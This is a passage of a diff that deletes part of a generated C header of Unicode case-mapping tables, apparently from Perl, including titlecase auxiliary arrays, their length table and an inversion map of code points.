0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E97, - 0x1E98, - 0x1E99, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD7, - 0x1FD8, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FE7, - 0x1FE8, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA791, - 0xA792, - 0xA793, - 0xA794, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xAB53, - 0xAB54, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB01, - 0xFB02, - 0xFB03, - 0xFB04, - 0xFB05, - 0xFB07, - 0xFB13, - 0xFB14, - 0xFB15, - 0xFB16, - 0xFB17, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1E922, - 0x1E944 -}; - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - TC_0 = 0, - TC_use_AUX_TABLE_1 = -1, - TC_use_AUX_TABLE_2 = -2, - TC_use_AUX_TABLE_3 = -3, - TC_use_AUX_TABLE_4 = -4, - TC_use_AUX_TABLE_5 = -5, - TC_use_AUX_TABLE_6 = -6, - TC_use_AUX_TABLE_7 = -7, - TC_use_AUX_TABLE_8 = -8, - TC_use_AUX_TABLE_9 = -9, - TC_use_AUX_TABLE_10 = -10, - TC_use_AUX_TABLE_11 = -11, - TC_use_AUX_TABLE_12 = -12, - TC_use_AUX_TABLE_13 = -13, - TC_use_AUX_TABLE_14 = -14, - TC_use_AUX_TABLE_15 = -15, - TC_use_AUX_TABLE_16 = -16, - TC_use_AUX_TABLE_17 = -17, - TC_use_AUX_TABLE_18 = -18, - TC_use_AUX_TABLE_19 = -19, - TC_use_AUX_TABLE_20 = -20, - TC_use_AUX_TABLE_21 = -21, - TC_use_AUX_TABLE_22 = -22, - TC_use_AUX_TABLE_23 = -23, - TC_use_AUX_TABLE_24 = -24, - TC_use_AUX_TABLE_25 = -25, - TC_use_AUX_TABLE_26 = -26, - TC_use_AUX_TABLE_27 = -27, - TC_use_AUX_TABLE_28 = -28, - TC_use_AUX_TABLE_29 = -29, - TC_use_AUX_TABLE_30 = -30, - TC_use_AUX_TABLE_31 = -31, - TC_use_AUX_TABLE_32 = -32, - TC_use_AUX_TABLE_33 = -33, - TC_use_AUX_TABLE_34 = -34, - TC_use_AUX_TABLE_35 = -35, - TC_use_AUX_TABLE_36 = -36, - TC_use_AUX_TABLE_37 = -37, - TC_use_AUX_TABLE_38 = -38, - TC_use_AUX_TABLE_39 = -39, - TC_use_AUX_TABLE_40 = -40, - TC_use_AUX_TABLE_41 = -41, - TC_use_AUX_TABLE_42 = -42, - TC_use_AUX_TABLE_43 = -43, - TC_use_AUX_TABLE_44 = -44, - TC_use_AUX_TABLE_45 = -45 -} TC_enum; - -#define HAS_TC_AUX_TABLES - -static const unsigned int TC_AUX_TABLE_1[] = { - 0x53, - 0x73 -}; - -static const unsigned int TC_AUX_TABLE_2[] = { - 0x2BC, - 0x4E -}; - -static const unsigned int TC_AUX_TABLE_3[] = { - 0x4A, - 0x30C -}; - -static const unsigned int TC_AUX_TABLE_4[] = { - 0x399, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_5[] = { - 0x3A5, - 0x308, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_6[] = { - 0x535, - 0x582 -}; - -static const unsigned int TC_AUX_TABLE_7[] = { - 0x48, - 0x331 -}; - -static const unsigned int TC_AUX_TABLE_8[] = { - 0x54, - 0x308 -}; - -static const unsigned int TC_AUX_TABLE_9[] = { - 0x57, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_10[] = { - 0x59, - 0x30A -}; - -static const unsigned int TC_AUX_TABLE_11[] = { - 0x41, - 0x2BE -}; - -static const unsigned int TC_AUX_TABLE_12[] = { - 0x3A5, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_13[] = { - 0x3A5, - 0x313, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_14[] = { - 0x3A5, - 0x313, - 0x301 -}; - -static const unsigned int TC_AUX_TABLE_15[] = { - 0x3A5, - 0x313, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_16[] = { - 0x1FBA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_17[] = { - 0x386, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_18[] = { - 0x391, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_19[] = { - 0x391, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_20[] = { - 0x1FCA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_21[] = { - 0x389, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_22[] = { - 0x397, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_23[] = { - 0x397, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_24[] = { - 0x399, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_25[] = { - 0x399, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_26[] = { - 0x399, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_27[] = { - 0x3A5, - 0x308, - 0x300 -}; - -static const unsigned int TC_AUX_TABLE_28[] = { - 0x3A1, - 0x313 -}; - -static const unsigned int TC_AUX_TABLE_29[] = { - 0x3A5, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_30[] = { - 0x3A5, - 0x308, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_31[] = { - 0x1FFA, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_32[] = { - 0x38F, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_33[] = { - 0x3A9, - 0x342 -}; - -static const unsigned int TC_AUX_TABLE_34[] = { - 0x3A9, - 0x342, - 0x345 -}; - -static const unsigned int TC_AUX_TABLE_35[] = { - 0x46, - 0x66 -}; - -static const unsigned int TC_AUX_TABLE_36[] = { - 0x46, - 0x69 -}; - -static const unsigned int TC_AUX_TABLE_37[] = { - 0x46, - 0x6C -}; - -static const unsigned int TC_AUX_TABLE_38[] = { - 0x46, - 0x66, - 0x69 -}; - -static const unsigned int TC_AUX_TABLE_39[] = { - 0x46, - 0x66, - 0x6C -}; - -static const unsigned int TC_AUX_TABLE_40[] = { - 0x53, - 0x74 -}; - -static const unsigned int TC_AUX_TABLE_41[] = { - 0x544, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_42[] = { - 0x544, - 0x565 -}; - -static const unsigned int TC_AUX_TABLE_43[] = { - 0x544, - 0x56B -}; - -static const unsigned int TC_AUX_TABLE_44[] = { - 0x54E, - 0x576 -}; - -static const unsigned int TC_AUX_TABLE_45[] = { - 0x544, - 0x56D -}; - -static const unsigned int * const TC_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - TC_AUX_TABLE_1, - TC_AUX_TABLE_2, - TC_AUX_TABLE_3, - TC_AUX_TABLE_4, - TC_AUX_TABLE_5, - TC_AUX_TABLE_6, - TC_AUX_TABLE_7, - TC_AUX_TABLE_8, - TC_AUX_TABLE_9, - TC_AUX_TABLE_10, - TC_AUX_TABLE_11, - TC_AUX_TABLE_12, - TC_AUX_TABLE_13, - TC_AUX_TABLE_14, - TC_AUX_TABLE_15, - TC_AUX_TABLE_16, - TC_AUX_TABLE_17, - TC_AUX_TABLE_18, - TC_AUX_TABLE_19, - TC_AUX_TABLE_20, - TC_AUX_TABLE_21, - TC_AUX_TABLE_22, - TC_AUX_TABLE_23, - TC_AUX_TABLE_24, - TC_AUX_TABLE_25, - TC_AUX_TABLE_26, - TC_AUX_TABLE_27, - TC_AUX_TABLE_28, - TC_AUX_TABLE_29, - TC_AUX_TABLE_30, - TC_AUX_TABLE_31, - TC_AUX_TABLE_32, - TC_AUX_TABLE_33, - TC_AUX_TABLE_34, - TC_AUX_TABLE_35, - TC_AUX_TABLE_36, - TC_AUX_TABLE_37, - TC_AUX_TABLE_38, - TC_AUX_TABLE_39, - TC_AUX_TABLE_40, - TC_AUX_TABLE_41, - TC_AUX_TABLE_42, - TC_AUX_TABLE_43, - TC_AUX_TABLE_44, - TC_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 TC_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* TC_AUX_TABLE_1 */, - 2 /* TC_AUX_TABLE_2 */, - 2 /* TC_AUX_TABLE_3 */, - 3 /* TC_AUX_TABLE_4 */, - 3 /* TC_AUX_TABLE_5 */, - 2 /* TC_AUX_TABLE_6 */, - 2 /* TC_AUX_TABLE_7 */, - 2 /* TC_AUX_TABLE_8 */, - 2 /* TC_AUX_TABLE_9 */, - 2 /* TC_AUX_TABLE_10 */, - 2 /* TC_AUX_TABLE_11 */, - 2 /* TC_AUX_TABLE_12 */, - 3 /* TC_AUX_TABLE_13 */, - 3 /* TC_AUX_TABLE_14 */, - 3 /* TC_AUX_TABLE_15 */, - 2 /* TC_AUX_TABLE_16 */, - 2 /* TC_AUX_TABLE_17 */, - 2 /* TC_AUX_TABLE_18 */, - 3 /* TC_AUX_TABLE_19 */, - 2 /* TC_AUX_TABLE_20 */, - 2 /* TC_AUX_TABLE_21 */, - 2 /* TC_AUX_TABLE_22 */, - 3 /* TC_AUX_TABLE_23 */, - 3 /* TC_AUX_TABLE_24 */, - 2 /* TC_AUX_TABLE_25 */, - 3 /* TC_AUX_TABLE_26 */, - 3 /* TC_AUX_TABLE_27 */, - 2 /* TC_AUX_TABLE_28 */, - 2 /* TC_AUX_TABLE_29 */, - 3 /* TC_AUX_TABLE_30 */, - 2 /* TC_AUX_TABLE_31 */, - 2 /* TC_AUX_TABLE_32 */, - 2 /* TC_AUX_TABLE_33 */, - 3 /* TC_AUX_TABLE_34 */, - 2 /* TC_AUX_TABLE_35 */, - 2 /* TC_AUX_TABLE_36 */, - 2 /* TC_AUX_TABLE_37 */, - 3 /* TC_AUX_TABLE_38 */, - 3 /* TC_AUX_TABLE_39 */, - 2 /* TC_AUX_TABLE_40 */, - 2 /* TC_AUX_TABLE_41 */, - 2 /* TC_AUX_TABLE_42 */, - 2 /* TC_AUX_TABLE_43 */, - 2 /* TC_AUX_TABLE_44 */, - 2 /* TC_AUX_TABLE_45 */ -}; - -static const int Titlecase_Mapping_invmap[] = { /* for ASCII/Latin1 */ - 0, - 0x41, - 0, - 0x39C, - 0, - TC_use_AUX_TABLE_1, - 0xC0, - 0, - 0xD8, - 0x178, - 0, - 0x100, - 0, - 0x102, - 0, - 0x104, - 0, - 0x106, - 0, - 0x108, - 0, - 0x10A, - 0, - 0x10C, - 0, - 0x10E, - 0, - 0x110, - 0, - 0x112, - 0, - 0x114, - 0, - 0x116, - 0, - 0x118, - 0, - 0x11A, - 0, - 0x11C, - 0, - 0x11E, - 0, - 0x120, - 0, - 0x122, - 0, - 0x124, - 0, - 0x126, - 0, - 0x128, - 0, - 0x12A, - 0, - 0x12C, - 0, - 0x12E, - 0, - 0x49, - 0, - 0x132, - 0, - 0x134, - 0, - 0x136, - 0, - 0x139, - 0, - 0x13B, - 0, - 0x13D, - 0, - 0x13F, - 0, - 0x141, - 0, - 0x143, - 0, - 0x145, - 0, - 0x147, - TC_use_AUX_TABLE_2, - 0, - 0x14A, - 0, - 0x14C, - 0, - 0x14E, - 0, - 0x150, - 0, - 0x152, - 0, - 0x154, - 0, - 0x156, - 0, - 0x158, - 0, - 0x15A, - 0, - 0x15C, - 0, - 0x15E, - 0, - 0x160, - 0, - 0x162, - 0, - 0x164, - 0, - 0x166, - 0, - 0x168, - 0, - 0x16A, - 0, - 0x16C, - 0, - 0x16E, - 0, - 0x170, - 0, - 0x172, - 0, - 0x174, - 0, - 0x176, - 0, - 0x179, - 0, - 0x17B, - 0, - 0x17D, - 0x53, - 0x243, - 0, - 0x182, - 0, - 0x184, - 0, - 0x187, - 0, - 0x18B, - 0, - 0x191, - 0, - 0x1F6, - 0, - 0x198, - 0x23D, - 0, - 0x220, - 0, - 0x1A0, - 0, - 0x1A2, - 0, - 0x1A4, - 0, - 0x1A7, - 0, - 0x1AC, - 0, - 0x1AF, - 0, - 0x1B3, - 0, - 0x1B5, - 0, - 0x1B8, - 0, - 0x1BC, - 0, - 0x1F7, - 0, - 0x1C5, - 0, - 0x1C5, - 0x1C8, - 0, - 0x1C8, - 0x1CB, - 0, - 0x1CB, - 0, - 0x1CD, - 0, - 0x1CF, - 0, - 0x1D1, - 0, - 0x1D3, - 0, - 0x1D5, - 0, - 0x1D7, - 0, - 0x1D9, - 0, - 0x1DB, - 0x18E, - 0, - 0x1DE, - 0, - 0x1E0, - 0, - 0x1E2, - 0, - 0x1E4, - 0, - 0x1E6, - 0, - 0x1E8, - 0, - 0x1EA, - 0, - 0x1EC, - 0, - 0x1EE, - TC_use_AUX_TABLE_3, - 0x1F2, - 0, - 0x1F2, - 0, - 0x1F4, - 0, - 0x1F8, - 0, - 0x1FA, - 0, - 0x1FC, - 0, - 0x1FE, - 0, - 0x200, - 0, - 0x202, - 0, - 0x204, - 0, - 0x206, - 0, - 0x208, - 0, - 0x20A, - 0, - 0x20C, - 0, - 0x20E, - 0, - 0x210, - 0, - 0x212, - 0, - 0x214, - 0, - 0x216, - 0, - 0x218, - 0, - 0x21A, - 0, - 0x21C, - 0, - 0x21E, - 0, - 0x222, - 0, - 0x224, - 0, - 0x226, - 0, - 0x228, - 0, - 0x22A, - 0, - 0x22C, - 0, - 0x22E, - 0, - 0x230, - 0, - 0x232, - 0, - 0x23B, - 0, - 0x2C7E, - 0, - 0x241, - 0, - 0x246, - 0, - 0x248, - 0, - 0x24A, - 0, - 0x24C, - 0, - 0x24E, - 0x2C6F, - 0x2C6D, - 0x2C70, - 0x181, - 0x186, - 0, - 0x189, - 0, - 0x18F, - 0, - 0x190, - 0xA7AB, - 0, - 0x193, - 0xA7AC, - 0, - 0x194, - 0, - 0xA78D, - 0xA7AA, - 0, - 0x197, - 0x196, - 0xA7AE, - 0x2C62, - 0xA7AD, - 0, - 0x19C, - 0, - 0x2C6E, - 0x19D, - 0, - 0x19F, - 0, - 0x2C64, - 0, - 0x1A6, - 0, - 0x1A9, - 0, - 0xA7B1, - 0x1AE, - 0x244, - 0x1B1, - 0x245, - 0, - 0x1B7, - 0, - 0xA7B2, - 0xA7B0, - 0, - 0x399, - 0, - 0x370, - 0, - 0x372, - 0, - 0x376, - 0, - 0x3FD, - 0, - TC_use_AUX_TABLE_4, - 0, - 0x386, - 0x388, - TC_use_AUX_TABLE_5, - 0x391, - 0x3A3, - 0x3A3, - 0x38C, - 0x38E, - 0, - 0x392, - 0x398, - 0, - 0x3A6, - 0x3A0, - 0x3CF, - 0, - 0x3D8, - 0, - 0x3DA, - 0, - 0x3DC, - 0, - 0x3DE, - 0, - 0x3E0, - 0, - 0x3E2, - 0, - 0x3E4, - 0, - 0x3E6, - 0, - 0x3E8, - 0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0x39A, - 0x3A1, - 0x3F9, - 0x37F, - 0, - 0x395, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - 0x400, - 0, - 0x460, - 0, - 0x462, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - TC_use_AUX_TABLE_6, - 0, - 0x13F0, - 0, - 0x412, - 0x414, - 0x41E, - 0x421, - 0x422, - 0x42A, - 0x462, - 0xA64A, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 